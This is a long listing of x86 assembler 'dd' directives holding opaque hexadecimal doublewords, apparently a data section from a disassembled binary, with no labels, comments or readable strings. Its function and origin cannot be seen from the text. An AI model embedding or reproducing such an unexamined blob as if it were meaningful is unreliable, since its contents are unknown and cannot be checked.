		dd 0C107B07Eh, 0EB8F9791h, 81B06C97h, 1FC8485Dh, 0C0997DE8h
		dd 0DC4421A0h, 0AA078ABDh, 33DB2680h, 0F264601Fh, 58E52330h
		dd 9A00E4FCh, 0F3959483h, 10005561h, 20BA397Fh,	0EDA14AA3h
		dd 0FDD6064h, 3B4D9469h
		dd 0BA412640h, 3E002847h, 0A6FCCE61h, 987EE0B0h, 8F5600D0h
		dd 0AC421140h, 0CF7114A4h, 0D688DA00h, 710FE253h, 7C0E4CA8h
		dd 858A5C75h, 0F500013Fh, 0BF7E1555h, 32262FD7h, 9601B894h
		dd 5D5CEAC9h, 9470F8F5h, 415028E0h, 111200F2h, 0E737C135h
		dd 700F442h, 0DAD759DFh, 0B9F836h, 83CA1941h, 109AE297h
		dd 0DFDDF000h, 9E4FF902h, 0EFC205D1h, 0E4E1B1h,	75CD3DB9h
		dd 5601D357h, 9C534A0Dh, 0D041D2DCh, 17C42B35h,	0FFEE0254h
		dd 0E2E11F0Bh, 9980E4C8h, 8B929F09h, 405842BAh,	4A885CF0h
		dd 1D58008Ah, 0ACA24715h, 5A065902h, 0C0BAEB98h, 180D817Ch
		dd 285EADC7h, 1B26B4C1h, 0CD40BC4Ch, 90967C95h,	32CB00A9h
		dd 1719FC37h, 7E0028C4h, 8899FFD8h, 0B0082031h,	0EF6900D4h
		dd 2156A13Ah, 740EEEF8h, 0A0DFCD33h, 0ECAE2947h, 18A70064h
		dd 0BA62A4DCh, 85003B27h, 7179C93h, 32C4C5Ah, 0D9C60DB4h
		dd 0E3E0619Ah, 4790CA52h, 0C8B18228h, 5DC5BF00h, 6B281110h
		dd 0F028FDC6h, 0D3692F00h, 1EDF5E87h, 0C516503h, 0BF059011h
		dd 98AE9EE0h, 0E8F20061h, 9383B55Eh, 760B69EDh,	8786B6E9h
		dd 4C0D2A4h, 0BC5913h, 0C0D3D6E7h, 93E153D8h, 0E900767Fh
		dd 8743EE4h, 71A4425h, 0F997EB86h, 0AB8D1E0h, 0A0FE2089h
		dd 38623400h, 83ED48BAh, 67630950h, 88A0287Fh, 0C19A66A1h
		dd 0CBEF7103h, 0C8C24C11h, 0CDDB38Ah, 9423F90Fh, 0C500A3E9h
		dd 0EB195B5Ah, 0B9E901h, 0C3F17C6h, 0AB97BD37h,	0E251C009h
		dd 94DE00BFh, 0E0B25Eh,	4536B73Ch, 8BD76EDBh, 6200EBE2h
		dd 0D9CD872h, 631D16h, 0B198C650h, 4B186110h, 0F4F7600h
		dd 33EF0ED2h, 888451C8h, 15B3F20h, 0BEE2C72Fh, 7492E868h
		dd 8714C108h, 0BCA7DEh,	2A15D806h, 1E09584h, 31AAAC91h
		dd 0DD34AD12h, 0C5F02190h, 0F6C7C0CCh, 0EDD0500h, 0B0B63F92h
		dd 5B891CB2h, 47EF809Ch, 0FFA5D937h, 0C80027FCh, 0F4C68F76h
		dd 229321Fh, 0EEB6BB0Ah, 5C40D62Eh, 0AB0C4697h,	385ED444h
		dd 703E0BCDh, 707879Ch,	0BA84D058h, 76001ACFh, 36677A3h
		dd 0FA499Ah, 1F9CBE52h,	0F3E059C3h, 0FD54100h, 0C1680E7h
		dd 0DC0A006Eh, 128C75FBh, 101CE454h, 0AFC03371h, 2FCD403Ah
		dd 0B56F0085h, 13C894B3h, 32005B65h, 0C4D5B9D3h, 9FAD8DDh
		dd 0C896E88h, 0FF049950h, 945A72C7h, 245D85C0h,	0D8A445h
		dd 50A9251Ch, 0F2FA8B09h, 0B7499AFEh, 23870100h, 0A46F1502h
		dd 270EF468h, 90E0F2FDh, 170AE093h, 1D3FD704h, 74808B13h
		dd 0EED04332h, 218700B3h, 9ECE4294h, 7C3BB508h,	0E5AC0B02h
		dd 539F82D2h, 9EFCD10Ch, 127E4FF3h, 8B02A374h, 0CE4B2C21h
		dd 2484866h, 60D7A190h,	6CBA007Eh, 5097381Dh, 1400FC92h
		dd 33FD2C53h, 397E3Ah, 4DAABCDBh, 0F1D38F47h, 6067D000h
		dd 53F29B6Ch, 0EC73003Eh, 0DD8AB1A6h, 13946A4h,	85230FA1h
		dd 0A8D58078h, 0F0C5DF7Ah, 0F4D20019h, 0D83C295h, 771FE01Fh
		dd 6F856936h, 1CA1A810h, 5467E8h, 0E799AE0Eh, 0B1EE2AE0h
		dd 43EBBD00h, 30736D95h, 3FAB00FEh, 7008CD07h, 0B300FDF7h
		dd 7BD04FE7h, 9AF02B18h, 50CD00E0h, 0AA01369Ch,	0E1A07668h
		dd 0FC250E26h, 44600103h, 7980E3C4h, 0FD23B7C6h, 11029B30h
		dd 0EE0664Bh, 0A3108ACCh, 0C0FB0300h, 6DF1186h,	3C7D9B38h
		dd 0D43E2098h, 9A2803E0h, 90207E1Eh, 1C0AF9EBh,	40FCF50Ch
		dd 0DA6C731h, 67001FF1h, 95EEBBECh, 0E9229h, 0A888CC02h
		dd 0ADF156C1h, 66F43870h, 0FC598503h, 1FF99BE8h, 9E05B1h
		dd 57D13D09h, 81E906A7h, 2603D379h, 289E7BB7h, 0BB23808Eh
		dd 5EC3334Fh, 20B6A3Ah,	0E1C5D89h, 0D8090E6h, 64008438h
		dd 6A363CDh, 0C10E7220h, 0FAB36E20h, 431DDD73h,	0BDD07AC6h
		dd 10021D7h, 1790E6E8h,	7FFFE1h, 0DEF46534h, 0B08C57A2h
		dd 8087323Eh, 1DF35EBBh, 3EC1A197h, 8D00D71Bh, 0E746B4Dh
		dd 9E009596h, 5B40A9DDh, 0B2A585h, 565FBEE9h, 12055A4Bh
		dd 631F7C03h, 0F0D378A8h, 12C8F5BCh, 46A5B4h, 97448F61h
		dd 9D00E2BDh, 2A69D904h, 756E6A1h, 0AB485B7Dh, 70C4E76Bh
		dd 0ECC2F977h, 0AEEEF9C0h, 905C5D28h, 47CC81A5h, 0C0C60892h
		dd 284DD4A0h, 370993Eh,	80737125h, 0C1DC0F3h, 960FCEAh
		dd 0CF62E164h, 0F6913781h, 57BC5007h, 2901F8ADh, 0F99A58D3h
		dd 0E043A8FDh, 4D210F5Ah, 6760E7F5h, 84B04E06h,	3A48BB61h
		dd 4CF0306Ah, 0C9F28E5h, 8D6D04C0h, 0D7BC0F49h,	391BC09Ch
		dd 310341F1h, 383AE365h, 959DA166h, 224020BDh, 0BBE5CE1Eh
		dd 54CBD640h, 0F1DCF612h, 367804E8h, 0E970C360h, 0BAAD8E3Ch
		dd 0EB00CB6h, 981E085h,	0E81928BEh, 5CF70C20h, 6607F5C2h
		dd 0E7B6115h, 0C031082Ch, 0C391A521h, 0FA00ACC4h, 0A8D7A3Eh
		dd 6093F85Ch, 518C509Ah, 0AF3D57B0h, 0EA60F7C1h, 484D7E39h
		dd 0D018D05Fh, 32342862h, 80377403h, 0C0B0EBh, 42A22629h
		dd 4DF0674Eh, 8F89AA13h, 0A9776E00h, 7833Bh, 5411EFC6h
		dd 0D5C29718h, 68739B00h, 0F0B3ACB6h, 1E560781h, 8039E262h
		dd 0D7B17CAEh, 0E7689803h, 0C82B7294h, 0D09D83h, 0B544D87Dh
		dd 8F8E05ABh, 40544906h, 3008C036h, 0F62076E4h,	907B05C5h
		dd 130010ECh, 9992F57Eh, 2032083h, 0D4FCDABCh, 3BE00BCCh
		dd 98308241h, 0EF5E1833h, 54134070h, 0D87C2D01h, 0C047121Eh
		dd 80836761h, 27403B24h, 346180F7h, 60741DCFh, 20DDCC30h
		dd 4943FBh, 0A411A859h,	7752422Ch, 0C160546Ch, 18B374D5h
		dd 1189689Fh, 86002B5Dh, 209C923Eh, 747F14DAh, 21716021h
		dd 5C868FD4h, 0A800EDFEh, 72A0833Fh, 39F2634h, 0DF75A999h
		dd 0B864BE60h, 3C60BAB0h, 7C482A40h, 2358448Ch,	706DE40h
		dd 2A264944h, 6B00FB73h, 125D3A64h, 53888F00h, 0C9A0F613h
		dd 5C5B3A8Bh, 8C8EC8D4h, 0E5059604h, 0FE62918Fh, 54E1F20h
		dd 71110351h, 0B23173A6h, 0B48245E0h, 1E920840h, 0A9B898h
		dd 0A45F026Ch, 0A23AAFC9h, 0A15A0006h, 969884C6h, 47AA0060h
		dd 93C5B31Ch, 0C70023ABh, 0C2DE5661h, 0DBCCD8h,	667936D6h
		dd 6552BBBDh, 57FF6400h, 892129D1h, 19B40EDDh, 18AE5AAFh
		dd 25BC4AE0h, 75386F1Fh, 80DF3A54h, 8816A6A2h, 8A202Bh
		dd 65941E40h, 86BB79CDh, 0B9EB140Eh, 0A53520AFh, 0E65E4Eh
		dd 8B063C85h, 0E7D73D94h, 4AF177Eh, 0DE540461h,	0E5561080h
		dd 0F4C7A773h, 0CA923Fh, 5D577F81h, 7C3B0F75h, 90BC071Fh
		dd 0C779E47Bh, 77B9C707h, 0E54EC01Dh, 135045F2h, 630C782Ch
		dd 50A9E34Dh, 122222EAh, 7118ACF4h, 3628E232h, 977005Ah
		dd 7370EA08h, 7F008AADh, 1FB11AF0h, 3981B96h, 8C3D8BEEh
		dd 608E3C7Ah, 60A10F75h, 1E58102Eh, 8875301Dh, 32FC5B18h
		dd 3E7A0101h, 9D09F96Dh, 2221704Dh, 65EF9080h, 0E7B4BC35h
		dd 0A432077Ch, 2725E8E2h, 0C047D75Dh, 0EFEAF3A8h, 74ACE51Fh
		dd 0A31A6930h, 37F12991h, 63CA804Ch, 0EE9D60B1h, 0BF3EDE08h
		dd 0C23501E5h, 81531D33h, 2D497841h, 0A9836E71h, 12A50BDEh
		dd 0E096380Ah, 0A357F437h, 5680D504h, 1C771F62h, 18DD60BEh
		dd 7CE11B7Dh, 0CC2B5700h, 16994BB4h, 1E0B0075h,	9F6010F4h
		dd 7D1843A0h, 4029DB17h, 218A8BB0h, 0DA206C24h,	0B4817922h
		dd 181222C6h, 7E219824h, 0B3681127h, 0C4FC5210h, 804A4480h
		dd 4801065Fh, 6E7CB415h, 45E9AE13h, 134F0BE8h, 0AAF64B46h
		dd 375FAB00h, 0FB9A4EC6h
		dd 129028D0h, 30C02Dh, 9583881h, 530FF657h, 0B5E5Dh, 3AA75A07h
		dd 0AB75BBh, 489E1BEBh,	248D2990h, 0B0756C00h, 2378BA2h
		dd 0B1C6005Ah, 0AFE667F2h, 0B300297Dh, 0D07C23A4h, 14A0E82Fh
		dd 0A4FCAC6Eh, 0D6790B00h, 341A1F0Eh, 6099121Fh, 7B758680h
		dd 0F50BA29h, 1122979Ch, 0CA1EAB00h, 3E00CE8Dh,	0C720CC0Eh
		dd 5F7792Ah, 722B8380h,	62DC006Bh, 25A20481h, 0C8516800h
		dd 0CCCE89BFh, 8FB11C5Eh, 0F362C356h, 0D3E8072Ch, 4A0073AFh
		dd 0C2CC5B40h, 92EBB0h,	25320E0Fh, 0B7246A1Bh, 40418600h
		dd 0A80177FFh, 1F53798Eh, 875A4C55h, 0A09C326Fh, 0F876E830h
		dd 0C7BD6500h, 8F66A314h, 39F51883h, 94409828h,	59F77E00h
		dd 8AD215C0h, 0C4471FCAh, 1D0F007Bh, 90F42263h,	9BCCAF00h
		dd 0A811E81Ch, 0B7A63903h, 852B6D03h, 0B2D8C81Eh, 0BA308871h
		dd 0E28E10A4h, 0E93F10BEh, 0EE730179h, 32C7CED4h, 1837D8h
		dd 80B8ADD7h, 129C7AFDh, 0C32EC80Eh, 30932066h,	0E373FFh
		dd 7976F88Dh, 0AB7D3709h, 0A61CF11Ch, 0A08E900h, 0C3A885h
		dd 2703C97Eh, 0DB2CF6C6h, 2207E17Dh, 46EC4001h,	747E750h
		dd 5C304CB1h, 5DA3BF05h, 0D3A00038h, 0D29A8912h, 8AE1F28h
		dd 0C3088567h, 759FD7E1h, 6B50F07Ah, 4DA50400h,	46D91137h
		dd 28DE0008h, 72B89529h, 0D70045D4h, 0A3758E1Dh, 3A5B6CBh
		dd 20CF4A3Ch, 5DA0575Ah, 0CD035E67h, 7CFF1CB8h,	6DD2D8F0h
		dd 4860385h, 0C563A890h, 936EB2B0h, 4F66B600h, 64E2C817h
		dd 623900F1h, 0B157E9B5h, 0CA001DF4h, 8C386303h, 0EA6AD45h
		dd 0C186F675h, 20D55D6Bh, 46E47F20h, 4D990073h,	2EC3959Ah
		dd 0E74DBCC0h, 0BD8F00B8h, 518D3CABh, 61AC003Ah, 0D6E4666Eh
		dd 0C502B667h, 41D95B68h, 4DA8E091h, 0A1E40Eh, 4C482A83h
		dd 0D5BDD184h, 0C93FA400h, 8C733605h, 993A0F16h, 296F6F92h
		dd 28DCC86Ah, 546100B0h, 0A45D2A53h, 0DA3A5B43h, 218E9E7Eh
		dd 6F3807Eh, 69979149h,	1525005Fh, 142D98EBh, 10053B9h
		dd 0A39A951Ch, 0AD12259h, 3419CC0Ch, 7F4700E8h,	7DBFCF35h
		dd 0F13A5301h, 0F63B4A7Eh, 18090846h, 0F0AF6F2Bh, 0A91D737Eh
		dd 5408F6Ah, 0FE715856h, 7F7D074Bh, 8A43CC62h, 558F00E8h
		dd 0AFA3740Fh, 58A1B201h, 645C3B57h, 1DB5C5CCh,	358DF4h
		dd 9D8F9775h, 47003325h, 0AF7C60B4h, 0A4BC175Bh, 893700B0h
		dd 0CF18668Ah, 0D8005D9Bh, 889E92F5h, 3810DB3Bh, 278285ADh
		dd 765068B6h, 0E4758C80h, 0AA7C88E3h, 63F2DD0Eh, 3C33A09Fh
		dd 26ECA8FCh, 3327C14h,	54C64B85h, 0E8A238A0h, 56001E79h
		dd 9713BADFh, 7E0742BCh, 0D6C10074h, 48E71A4Bh,	0D47B6D34h
		dd 0DE0762FEh, 82EA30BAh, 0DC77007Fh, 0E1E4FDh,	1BC993CEh
		dd 29AC72D8h, 0D32C6700h, 31F797BBh, 68F80092h,	2E283B49h
		dd 85007FE8h, 21951D88h, 94938Bh, 6D6E9B1h, 18576BD3h
		dd 0DFEDF200h, 2B099BC7h, 9C990203h, 12CAC57Ch,	0F274F460h
		dd 0FE00D379h, 1BC349E0h, 405D5B9h, 0D7526EE8h,	77680FFh
		dd 0D018F815h, 2C201AC2h, 7C9812h, 56BF9591h, 40E854C4h
		dd 0DBF6EF00h, 0C04F7030h, 4FE0299h, 16B55646h,	4187F300h
		dd 7AEB7ECCh, 9FAD035Fh, 9AB2C75Eh, 0F7091167h,	7993D3E0h
		dd 0B9D70405h, 0C853FB3Fh, 80C6BA08h, 48CE2923h, 2B001C47h
		dd 6B758720h, 7E0702C4h, 325CEF11h, 0DC0E830h, 0C6F70066h
		dd 84628CA8h, 0BB39A32Fh, 619081E6h, 9E916434h,	0DD9AE0h
		dd 8FED45D6h, 57872389h, 80582900h, 0B6E261F3h,	0EA47D4Bh
		dd 0D413DA6Dh, 0CAA9674Fh, 83117F00h, 280141B9h, 5BF50D9Eh
		dd 6EFC88C6h, 0D64E015Ah, 0D7F17C1Ah, 0CED07058h, 6FC37200h
		dd 611547D0h, 0C44D0092h, 0C15A7712h, 9DD900Dh,	8715BDCFh
		dd 0C96D4Ch, 64673F54h,	0B363001Ch, 0C98A1B61h,	0A9F68EEBh
		dd 0F80B6890h, 2082DBEFh, 0DFC07D7Ch, 983098E8h, 7FD51D23h
		dd 0AE00BEC9h, 48C7F256h, 2003B32h, 2D01A1AAh, 0FCB52h
		dd 0A47D93C4h, 44A8CB7h, 760053FEh, 1D394573h, 18D79D36h
		dd 105A7D9Eh, 0B700D17Ah, 630A03A4h, 0F52F5Bh, 262BF435h
		dd 741CDCFFh, 971FAAFCh, 0FB0152C4h, 0BB817804h, 25CD99E0h
		dd 7000339Fh, 5983D88Eh, 0DF17960Bh, 0B1558760h, 6B334180h
		dd 0EFC8C02Bh, 2985F886h, 2C4F8400h, 92378F58h,	147707AEh
		dd 702F560Fh, 0BCA5E7EEh, 780CD802h, 0C350451Ch, 8A46E070h
		dd 8ECC02BEh, 0E1C3A04Eh, 0A76BF4E8h, 1A892D61h, 39EC5966h
		dd 75C80BEDh, 1880B00Ch, 0E6901F3Fh, 348AEC16h,	5D9CD700h
		dd 1FF447Dh, 1C3ACE87h,	308E18EAh, 4E07E70Eh, 3C639DD5h
		dd 9487AF30h, 69240182h, 0EF790609h, 0F1F8F7ECh, 7700FC1Dh
		dd 0FB452684h, 7EF47B38h, 587C012Eh, 126D66C4h,	5F17F89Dh
		dd 9F1A8800h, 0DC1BA1C2h, 8B920791h, 0B726BD3Fh, 3B471F95h
		dd 0FB1AF0D0h, 389040B4h, 0CBB05600h, 1D4E7EB7h, 55870089h
		dd 0C4FF9ACCh, 43095C9h, 66A608C2h, 2EF0F89Dh, 301449A7h
		dd 5B1D3DA6h, 0BD28A200h, 0F2C4ECB7h, 0DF360085h, 65678C37h
		dd 4607BA78h, 12B3D223h, 0D7BCA9B0h, 96D50066h,	0DAD45FEAh
		dd 53581C87h, 35440794h, 1380E759h, 3C314298h, 3300CDB3h
		dd 9F9174C6h, 2200C3CAh, 0A8FA5497h, 896FE6h, 0BEBB34A2h
		dd 87F42348h, 0A49A500h, 0B9952699h, 5F250007h,	90E20EBAh
		dd 0E5186BA2h, 21096F8Bh, 0A02500C6h, 5EF9153Eh, 0F22499D8h
		dd 0F700B27Ah, 0B123803Fh, 570630AEh, 0D003A0D9h, 42E7C40h
		dd 0CEEEC8FEh, 7BC7EF44h, 0E762A2F0h, 17C500A9h, 81806E03h
		dd 3C00EF2Bh, 0C1D6FBEAh, 799F93h, 0B6156B6Dh, 0F9021F48h
		dd 0FDB87C07h, 33907621h, 935B3Bh, 0CADA57FBh, 28A9CBA7h
		dd 0BECB300h, 0B25F1007h, 0AD410158h, 9AFC6EB6h, 1998DF6Ch
		dd 0A60B1DEFh, 0A21382h, 5AB2BE09h, 534B00DCh, 0FADAD58Bh
		dd 0E800B9F7h, 54AF0EF2h, 3BC9ACh, 9108AA2Bh, 0E7E58BB8h
		dd 0DDA21400h, 34473036h, 4165009Ah, 6891B1C8h,	640086CAh
		dd 45207351h, 5CA71DDFh, 0C01FE4ABh, 0DDAC815Fh, 0D4FB14A2h
		dd 88004B3Fh, 3852D1DFh, 3DC6CB8h, 0F4101592h, 50C04DE0h
		dd 346CCC3Ch, 4731158h,	75FE47E9h, 125E0041h, 9D89A2h
		dd 9C6FD20h, 0D268BB15h, 160913Eh, 9A5B012Ch, 2460FB49h
		dd 0FA0C036Dh, 37848F0Eh, 9502E387h, 0E5740690h, 0B86A5309h
		dd 0B4C900A6h, 9837831Eh, 0BCE10DCBh, 0E9F052EDh, 9B11D41Dh
		dd 0A00147Ch, 8BAF024Eh, 0FCF1C1h, 2E9128CFh, 0E06C1B67h
		dd 6F9A87BFh, 6BDD4370h, 0D80E00BFh, 0AD47FB46h, 8700F671h
		dd 9E15E4E5h, 50D35E9Ah, 0F965A011h, 4457D4h, 0CC667F9Fh
		dd 374C6096h, 59E039h, 82C503D9h, 6FF1DAh, 7CE37E24h, 77812106h
		dd 1EDF63Fh, 9B0D3A38h,	29E47071h, 897600A9h, 0A46F1A9Fh
		dd 0F800ECF5h, 0B64003B1h, 2538AFh, 839EE067h, 451B6EEBh
		dd 0CB475500h, 5D517D09h, 7318003Eh, 32E03D67h,	380FA6FEh
		dd 20AE9A83h, 37881E26h, 0B1664F2Ah, 2DE5D43Eh,	35FEC4Ch
		dd 94D784B0h, 139984Eh,	0E6C9008Dh, 41A36E11h, 3500D69Dh
		dd 13FF0B43h, 65EDEAh, 0FE5644AAh, 84A62D60h, 0FA20A71Ch
		dd 0CE30E5C3h, 0C3798291h, 7F0CF9DEh, 908693h, 2537C60Ah
		dd 5F00B961h, 53022436h, 3FBEDEB0h, 12075285h, 3D8E0Fh
		dd 0A393A4FEh, 9669CA00h, 7D5BA6F7h, 5F080FDEh,	9BE0430Fh
		dd 0AB1DFB30h, 1F4D1500h, 7B9E58A3h, 527F0032h,	0FC1E1C5Dh
		dd 2138A210h, 7A8200DDh, 0BA42C26Dh, 0D8DA00AEh, 6AC68D71h
		dd 0CF48301Ch, 4F3BC2h,	7476A388h, 0E349FE0h, 477BCC75h
		dd 7FA7B98Eh, 0F990407Eh, 0BA7D09FEh, 2937C81Fh, 0E0717ACAh
		dd 146BE200h, 0F6B980h,	0F05D4B9Fh, 0FD87C29Ah,	5AD8BE0Ch
		dd 0F0F1192Ah, 20E30046h, 0F9E4A786h, 0E80018F6h, 70B52BEAh
		dd 0E7FA3A6h, 0CF3E8C54h, 0D3699CA0h, 6C00E53Dh, 12FB2DA9h
		dd 3CB37B5h, 0A8527BBEh, 97F8A29Ch, 9E00F9F1h, 615F4524h
		dd 0CD7823Ch, 0F3DF2E40h, 54005860h, 0B7BB3157h, 1E991804h
		dd 554D85h, 0ACB0F55Fh,	0E200389Fh, 0EEF21D14h,	0A982A1h
		dd 8DBC9C03h, 0E060E62Eh, 730B401h, 0EFF68051h,	0A685E8h
		dd 493E9686h, 216FA365h, 91830203h, 876811DAh, 0F3008A6Ah
		dd 13C1BEF5h, 0E91B30F1h, 0E14822AEh, 8DCFB102h, 0E166E6B8h
		dd 0E8E33169h, 61F4C5h,	37FFEE91h, 57C380B2h, 0C1857300h
		dd 5FCD9A7Dh, 5A12013Ah, 550C2074h, 0A532CC94h,	0E08BF100h
		dd 0DD06876Dh, 3CE5EA3Bh, 0CD00E94Ah, 7E979425h, 2F3B5F3Ch
		dd 0F3E48090h, 4505B1EFh, 78900Ah, 99DA59E7h, 0E1DCE93Eh
		dd 57195C00h, 852DEBA1h, 2B3100AFh, 30ECAE87h, 0ED18CB86h
		dd 0CD09832Fh, 33170E6h, 0F34D751Ch, 0EEF87FBAh, 1B098CA6h
		dd 8BADEBh, 0CD3E67A4h,	9E600BBh, 3468B0DEh, 0D00B744h
		dd 3B0C690Ah, 0BBBA6DBh, 1399D049h, 1B2D5100h, 0CE00D8EDh
		dd 0F3BD5F4Ah, 0C21AD6h, 5BE6CA0Eh, 292E4499h, 6E96D000h
		dd 0FAD6F2FBh, 90B4736Ch, 0BD1000Ch, 0D9A4E72Ch, 8500F9A8h
		dd 58E96ACCh, 3606219h,	0D1F5BA1Fh, 0EA8155C6h,	5A8200Dh
		dd 9E992B03h, 0B0892687h, 1B26457h, 0D785B55Bh,	0E053F28Bh
		dd 5900CFD6h, 47FD0F7Dh, 27CDF90h, 0F6458919h, 0E460C203h
		dd 763CA702h, 0D83C1C6Ah, 7C287F40h, 0E1D3081h,	0AC09F0CDh
		dd 0EFBA2660h, 0E00375AEh, 93A37E1Eh, 1D73B8A4h, 32870221h
		dd 135F49C0h, 0A052CF60h, 70017A73h, 53FCBF75h,	0DF207F31h
		dd 0F98F007Dh, 5AED69CEh, 0AC3B8118h, 245014DFh, 128D05F0h
		dd 804B6F94h, 0FD1E00A7h, 0EA19FAAh, 0DC9E54FBh, 0DDBBAB00h
		dd 0BA6010FFh, 21D69208h, 86AC13F0h, 58541FBDh,	4B9BD89Fh
		dd 9A029C7Ah, 0CE3719D5h, 77F08BC8h, 3455D180h,	5D0475ACh
		dd 8DEEAE83h, 0D9D0E287h, 1ED9633h, 98468AA0h, 24E6F5F0h
		dd 0E588D90h, 0EDA6002Bh, 1160EBFBh, 15260598h,	388846Bh
		dd 0ADCB94C8h, 0B369EFE0h, 625F8600h, 8318E45Eh, 3A1574AAh
		dd 0CF80BDA6h, 741B2772h, 440078C7h, 83805802h,	0B8351DEEh
		dd 0AD9D008Dh, 457BDB5Fh, 0D800B1C4h, 41F86EB4h, 900D23AFh
		dd 898000A3h, 79DF7DDBh, 437EC565h, 61A5031Ch, 0B314CF40h
		dd 0E3C384Ah, 5A460286h, 8A8B9E81h, 68C4DC09h, 61E99F00h
		dd 0F14EEF63h, 0B6211D4Bh, 0B49480E3h, 47C9D5D8h, 14321E0Bh
		dd 0AB805FA3h, 54A80ECEh, 111D8EFh, 0C8560B24h,	3DEFE800h
		dd 0B83F55C0h, 4B1A00ABh, 450BC16Dh, 0AB4CB9D4h, 0BCBFC074h
		dd 95873D0Ah, 0F4F7F5D8h, 0B0E45BFDh, 6A340601h, 6B3204C0h
		dd 3F9460D2h, 26F7018Ch, 1555EB3Ch, 70BE64h, 0D3D4A3DDh
		dd 3AEFACD0h, 0E53A88C9h, 1598BA06h, 0D7009955h, 0E6AB0D92h
		dd 1F7484h, 0CB7BF8DDh,	4594C743h, 0A103C200h, 0F7236061h
		dd 16831E5Fh, 8446C087h, 7A5C26C1h, 0EFB0A100h,	61EE4CBFh
		dd 7D2B1723h, 78E30099h, 3BF41434h, 90385C90h, 0BCE79EF7h
		dd 3B398C69h, 0C9D481DAh, 52C2AD40h, 75E11980h,	352E5A8Fh
		dd 3C2342C0h, 0A81355F1h, 1D25170h, 0EFAD60D3h,	41ACD4EBh
		dd 64BC18D8h, 6E00F020h, 48192278h, 1D0DD326h, 40295EA1h
		dd 35CE5C81h, 1A13B3C0h, 0D600D083h, 12AAC819h,	602100D9h
		dd 0D6FEAF24h, 4701E0C4h, 0F8CC3DF3h, 97E145DAh, 42F00421h
		dd 8503009Eh, 5F09E44Fh, 4C079A94h, 0B8843AACh,	83735E17h
		dd 0BA6F8842h, 380C002Fh, 1DD564DBh, 0E61C6C66h, 1400EB65h
		dd 2A6F6724h, 0E943027h, 17EDB9C1h, 0E78F8E01h,	979864F6h
		dd 21C20898h, 1700E5D7h, 7002B172h, 6C345Dh, 1D12F0F4h
		dd 500F4F64h, 0C49F5318h, 48C931h, 23FE7E88h, 0F7BD211h
		dd 0C617161Ch, 0CA63DCC4h, 2A733C00h, 0FAFA1EE9h, 0B85DB22Ah
		dd 6AB6F800h, 0F7AC3F2Fh, 7CE71D57h, 214318F6h,	69007E86h
		dd 5178C268h, 0C0C90BD5h, 0ACAFAA50h, 0D00CF87Dh, 16C419D1h
		dd 10846DF5h, 40408298h, 4472885Ch, 8F0A120Ch, 35C124Dh
		dd 9861D75Fh, 31E60830h, 7C4DF421h, 0AA9600C6h,	8F9935B7h
		dd 43383154h, 0E3EB81D1h, 66913DF7h, 9523AC41h,	1708E90Ch
		dd 0C4078F8Ah, 0E1CB40F5h, 33A1B17h, 467E9033h,	619F3BD8h
		dd 0A4D5481Ch, 6B003EB8h, 1A6693F1h, 0E10D6CA1h, 48C89C8h
		dd 0C9EE4D80h, 0F62A3898h, 5E7B0E4Dh, 0EAE1660Eh, 805A77C3h
		dd 0BE6A86B8h, 0EF9B48h, 0DA37D15Ch, 0BC5FA6A8h, 0DAB8694Ah
		dd 2303C00h, 81BE4210h,	216D8E00h, 410DDD85h, 0CC8C0099h
		dd 59725FE0h, 4500A2FFh, 0B84798B3h, 0BECF0E3h,	70C2DC35h
		dd 4A08E703h, 37F6D0C7h, 510018F5h, 0D3439D7Ah,	7EBA240h
		dd 0C91C4C0Fh, 0B0B8D0A6h, 0FB000C0Bh, 0AEC775A9h, 0FAB992AFh
		dd 76A2B0F2h, 0A523008Eh, 97A6A099h, 6500C779h,	0E0191FC8h
		dd 7C0EC9h, 0DA2D50F1h,	2E742261h, 0E40CEE01h, 232C2944h
		dd 3E6376F0h, 0D300A991h, 0A479F315h, 0B49093E5h, 96E19C00h
		dd 0A9BD6CDFh, 2881F951h, 0A10B32F2h, 0FDE7C48Dh, 90CCEC00h
		dd 0EC80770h, 1F7A8Ah, 0FB1D6194h, 0D5F6A946h, 2A048E00h
		dd 0C347BD74h, 16680166h, 0A94B8C32h, 0FA59875Ah, 40106BAAh
		dd 0E6D6A03Eh, 58FEECD9h, 2000A3EBh, 817F4D23h,	0BD2F6EECh
		dd 1D08D604h, 0EECE00C1h, 3F382118h, 1F55A95Ch,	0A6063681h
		dd 77181CE2h, 0E13705B7h, 0A65C2h, 7AF3EEA8h, 0F0C5092Bh
		dd 0B440C3A8h, 0CA418199h, 21070787h, 0E10527C4h, 0F8F9FEA7h
		dd 0D714E301h, 8CE5FDh,	0DDA422CEh, 8B91B0h, 0CA02970Ch
		dd 8C066AA5h, 5421671Ch, 0C10FC9C0h, 593BD7h, 80FAAB27h
		dd 7CBE8AEBh, 0A8852E00h, 8CA20796h, 0AF040024h, 3BF63622h
		dd 0EB3C632Ch, 0CD8200EFh, 8C1D67DCh, 727AF031h, 15570B07h
		dd 0A0039D42h, 23E09996h, 0E2007DD4h, 947CF279h, 0F554815h
		dd 90B3A59h, 57BA7B20h,	0FA003651h, 195ADBDDh, 0E9A786h
		dd 0FE66381Fh, 34ACCB47h, 523B8D00h, 0FD05EEB2h, 77E12C17h
		dd 760E3A66h, 0CE670BE5h, 0FC09E1FEh, 9880803Bh, 12D5FF90h
		dd 877AE2h, 4E160A49h, 0F8A22254h, 0A3D77C07h, 63A00D83h
		dd 3A4FD809h, 0E2806064h, 4DF09DCFh, 124842B3h,	6AF40067h
		dd 2ED078E1h, 0B7A744Bh, 4F595BE7h, 147F80FFh, 0D81CCAh
		dd 4DB6411Dh, 5A8DF0B8h, 0F3232700h, 59E97582h,	3D710072h
		dd 0ADEA222Fh, 0B80058B6h, 0DA1CFA6Ah, 0C48A4F4Ah, 44729E29h
		dd 4644F72Ch, 36C342F9h, 42A0574h, 5DFE7028h, 591BF891h
		dd 21EC2933h, 7E12F19Dh, 0C8842010h, 38420279h,	67A25ABh
		dd 51347F14h, 16116E42h, 145621F5h, 3A2114DEh, 9099C708h
		dd 0C8388632h, 29466079h, 7B1AE86Fh, 1C3DF370h,	0CB1B077Dh
		dd 10B14A7Ah, 0EFF179h,	90B37B08h, 75231563h, 2D14B000h
		dd 0D928EC1Ah, 26BE4861h, 9E816700h, 4897BD2Fh,	0A9ADF800h
		dd 0FC7A0859h, 5A86002Bh
		dd 0C1242DBBh, 7B030243h, 0F40B09D4h, 6C25E850h, 0CD74DAh
		dd 4180A976h, 4856C589h, 6D51D00h, 0BC4FBE5Dh, 0B7FC007Fh
		dd 0ECA033E2h, 393CA8E9h, 320A078Ch, 0BF10444Eh, 78B285Fh
